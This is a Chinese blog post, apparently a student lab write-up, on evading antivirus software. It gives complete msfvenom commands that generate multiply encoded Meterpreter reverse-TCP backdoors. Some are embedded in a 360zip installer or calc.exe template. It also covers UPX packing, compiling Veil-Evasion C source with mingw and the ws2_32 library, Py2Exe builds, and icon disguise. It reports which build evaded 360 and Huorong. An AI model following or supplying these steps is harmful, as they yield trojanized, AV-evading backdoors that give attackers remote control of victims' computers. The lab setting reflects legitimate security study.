免殺原理與實踐——使用msfvenom與veil繞過防毒軟體
免殺原理與實踐——使用msfvenom與veil繞過防毒軟體
這次的實驗令我非常興奮,因為要對抗的是各大防毒軟體廠商,所以事先得做好很多功課。另一方面我也想看看metasploit在這場貓鼠遊戲中能不能走在安全廠商的前面。
這次的目標免殺平臺是64位windows 7 SP1,我用的windows 7 SP1虛擬機器中事先裝了一下防毒軟體:
火絨 版本:4.0.55.0
360安全衛士 版本:11.4.0.2002 —— 需要聯網才能正常發揮,斷網後就是傻子
360防毒 版本:5.0.0.8081 —— 斷網也能正常掃描
線上檢測:
Virustotal (www.virustotal.com
Virscan (www.virscan.org) —— 我感覺這個網站沒有virustotal好
0x0 裸奔的後門程式
在正式開始實驗之前,我們先看一下沒有做免殺的Meterpreter在各個防毒引擎面前的表現,以此為基準,評估免殺的效果。
可以看出沒有做免殺的Meterpreter是相當容易暴露的。
0x1 MSF編碼器的使用
思路——MSF多重編碼
防毒軟體廠商的錢不是白賺的,單靠MSF的編碼器要想取得成功非常困難。所以我一開始就準備用msfvenom來個大招!
首先,我們不能使用msfvenom的預設模版裝載payload,這麼多安全廠商盯著metasploit,我們最好選擇自己的模版。我決定用360壓縮的安裝包作為模版,並嘗試保留它的原始功能。
其次,必須選擇合適的編碼器。shikata_ga_nai是msf中唯一的評價是excellent的編碼器,這種多型編碼技術使得沒次生成的攻擊載荷檔案是不一樣的。這裡我們要使用多重編碼,通過管道,讓msfvenom用不同編碼器反覆編碼進行混淆。
因此,我列出這次實驗中msfvenom要用到的引數,供同學們參考:
-a 設定目標的指令集架構,這裡我們選擇x86即可
–platform 設定目標平臺,這裡是windows,可以通過–help-platforms選項檢視msfvenom支援的所有平臺
-p 設定攻擊載荷,我們使用windows/meterpreter/reverse_tcp,可以通過-l payloads檢視所有攻擊載荷
-e 指定編碼器,我會組合使用不同的編碼器,可以通過-l encoders檢視所有編碼器
-i 指定編碼迭代的次數
-x
-k 該選項可以保留模版原來的功能,將payload作為一個新的執行緒來注入,但不能保證可以用在所有可執行程式上。
-f 指定生成格式,可以是raw,exe,elf,jar,c語言的,python的,java的……,用–help-formats檢視所有支援的格式
實踐
輸入
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.0.2.6 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -x 360zip_setup_4.0.0.1030.exe -f exe > 360zip_setup.20155110.exe
1
這裡使用管道讓msfvenom對攻擊載荷多重編碼,先用shikata_ga_nai編碼20次,接著來10次的alpha_upper編碼,再來10次的countdown編碼,最後才生成以360zip_setup_4.0.0.1030.exe為模板的可執行檔案。
原始模板的大小隻有7.5M,但編碼以後卻增加到了16M!!
把它交給win7靶機測試環境,原始安裝包的功能消失了!,-k引數好像沒發揮作用。
但是這個後門還是可以執行的。
測試
本地測試
我先用本地的一些安全軟體對後門進行檢測,這些軟體的版本資訊我寫在前面了。這裡用到技術還是比較單一的,我對測試結果沒報太大希望。
火絨安全
我剛開啟火絨安全軟體,火絨就立馬報毒了,甚至連netcat它都沒放過!!
360安全衛士
360安全衛士的檢測結果如下,我們也沒能騙過了360安全衛士,360還是很強的。
線上監測
本地檢測侷限性比較大,我們通過兩個線上惡意程式碼檢測平臺測試一下這個後面程式。
VirusTotal
太慘了!66個引擎有35個發現後門。畢竟使用的技術過於單一,這也是沒辦法的事情。
0x2 嘗試加殼軟體
upx打包器的原理非常簡單,就是將可執行檔案中的程式碼和資料進行壓縮,然後將解壓縮用的程式碼附加在前面,執行的時候先將原本的可執行資料解壓出來,然後再執行解壓縮後的資料。
打包器的本質目的是反除錯,防止逆向工程。我們這裡使用打包器的目的是為了改變後門程式的特徵碼。
模板問題
我本來想在上一步的基礎上對後門軟體進行upx加殼,
但是,360壓縮的安裝包本身無法用upx加殼,以它為模板的後門程式也沒法用upx加殼。
到這裡,我的思路被打斷了。我覺得這是模板的問題,我應該重新選擇一個模板(而且從之前的實驗看,360壓縮安裝包並不是一個好的模板)
新的模板——計算器calc.exe
沒辦法,只能選擇新的模板了,我選擇了32位的計算器程式calc.exe作為模板。
輸入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=5110 -x calc.exe -k -f exe > calc.5.1.10.exe
1
先生成後門程式
執行這個後門程式,-k引數對該模板是有效的!計算器的功能正常保留了下來,這次的後門有點像樣了!
但是從圖上可以看出來,後門程式的大小比原始程式要大的多。
可以看一下Meterpreter所在的程序:
無法加殼
直接輸入upx calc.5.1.10.exe,嘗試對後門程式進行加殼,但失敗了。
但對原始模板calc.exe進行加殼卻沒有問題,輸入upx calc.exe -o calc_upx.exe
但模板卻沒法運行了……
從頭開始
使用msfvenom的預設模版,使用shikata_ga_nai編碼器編碼20次,然後用upx加殼,看看能不能成功。
輸入msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=5110 -e x86/shikata_ga_nai -i 20 -f exe > backdoor.5.1.10.exe
加殼upx backdoor.5.1.10.exe
失敗的加殼
火絨和360都輕輕鬆鬆的發現了upx加殼的後門程式。
我覺得應該是預設模板和編碼器的使用過於簡單,即便upx加殼混淆,依然難以達到免殺的效果。
簡單的upx加殼還沒有MSF原生的多重編碼管用。
0x3 初探Veil 3.0——用Evasion工具生成後門程式原始碼
Veil-Evasion通過各種不同的語言對shellcode進行改寫,達到免殺的目的。作者在github上宣告原來的Veil-Evasion已經不再維護了,讓使用者使用Veil 3.0。其實兩者使用起來沒有太大差別。veil的官網http://www.veil-framework.com有關於veil使用的教程可以參考。
我花了不少時間去安裝veil。一開始從apt中安裝veil失敗了,我乾脆到github上去克隆veil,依然沒有配置好環境(不同於metasploit的主頁,Veil的主頁在github上還是比較冷清,貢獻者不多)
獲取後門C語言原始碼
因為安裝錯誤,我無法在kali上讓python指令碼變成可執行檔案,不過使用c語言倒是可以編譯,但倒黴的是,我到64位win7虛擬機器居然無法執行這個後門(但我到win10主機可以執行這個後門)。
我立刻改變思路,自行編譯Veil生成的原始碼。先生成C語言版本的原始碼看看。
考慮到我win7虛擬機器的效能,安裝Visual Studio比較困難,我選擇安裝mingw來編譯c/c++,來編譯原始碼(雖然mingw編譯正常程式生成的機器碼來說都可能誤報)
注意
手工編譯效果
我們發現後門的原始碼中使用了socket套接字,mingw手工編譯時需要連結ws2_32庫,輸入指令gcc -o veil_test.5.1.10.exe veil_test.5.1.10.c -lws2_32進行編譯。
編譯了C語言版本的veil後門程式後,我把它放到virustotal上檢測了一下,效果非常不錯!只有8個引擎發現問題。
而且火絨安全和360都沒有發現問題
我們開啟這個後門試試,順便看看它能不能躲過 動態檢測。這裡有個小技巧,直接使用veil在/usr/share/veil-output/handler中的rc資原始檔啟動metasploit。
在win7中開啟防毒軟體,在kali中輸入msfconsole -r veil_test.5.1.10.rc,手動執行後門,成功連線,360沒有任何動靜!
獲取後門的python原始碼
依然是使用Veil 3.0的Evasion生成後門原始碼,這裡我選擇的payload是python/meterpreter/rev_tcp,生成的原始碼如下:
Veil作者推薦使用Py2Exe生成可執行檔案,之後我們得到了rnume.bat和setup.py安裝指令碼。
使用Py2Exe生成可執行檔案
忘了說了,我事先在win7虛擬機器中安裝了Python3.3, py2Exe, PyCrypto, PyWin32,然後才能將python指令碼變為可執行檔案。
直接雙擊 runme.bat 批處理檔案就能生成可執行檔案了。
免殺效果
先放到virustotal上看一下生成的veil_py.5.1.10.exe後門的免殺效果。
在看看本地的火絨安全和360能不能發現這個後門。
在防毒軟體開啟的情況下,看看它能不能躲過動態查殺。
開啟msfconsole進入監聽狀態,雙擊啟動後門,雖然我們獲得了會話
但是,靶機此時的畫面卻是這個樣子的
想象一下,如果使用者看到這樣的畫面, 一定會立即關閉這個程序!,我們剛剛獲得的Meterpreter會話立刻就會關閉,而且我們的手速來不及做程序遷移
我經過多次嘗試,發現如果沒有msfconsole的監聽,點選veil_py.5.1.10.exe沒有任何反應。一旦msfconsole監聽反彈會話,點選這個後門就會出現崩潰提示。
總而言之,這個後門是個失敗品。
0x4 用圖示簡單偽裝後門程式
為了讓我們的後門程式能夠具有一些欺騙性,我覺得給後門程式新增一個圖示。
先建立資原始檔img.rc
1 ICON “img.ico”
1
然後使用windres生成目標檔案
windres img.rc img.o
1
在把之前的veil_test.5.1.10和img.o連結起來,生成目標後門程式 veil_img.5.1.10.exe
gcc -o veil_img.5.1.10.exe veil_test.5.1.10.c img.o -lws2_32
1
我們依然測試一下這個後門的免殺效果。
我們看一下這個後門能否正常使用(防毒軟體全開)
這個後門可以說是成功了!
總結
防毒軟體的更新是非常快的,這裡給出的方法和過程在今天還是可行的。但過了幾個月之後,免殺技術就有可能出現重大的變化和更新。免殺技術需要不斷地磨練與實踐,才能在實戰中提高成功率
作者:Y_F_Wang
來源:CSDN
原文:https://blog.csdn.net/wyf12138/article/details/79825833
版權宣告:本文為博主原創文章,轉載請附上博文連結!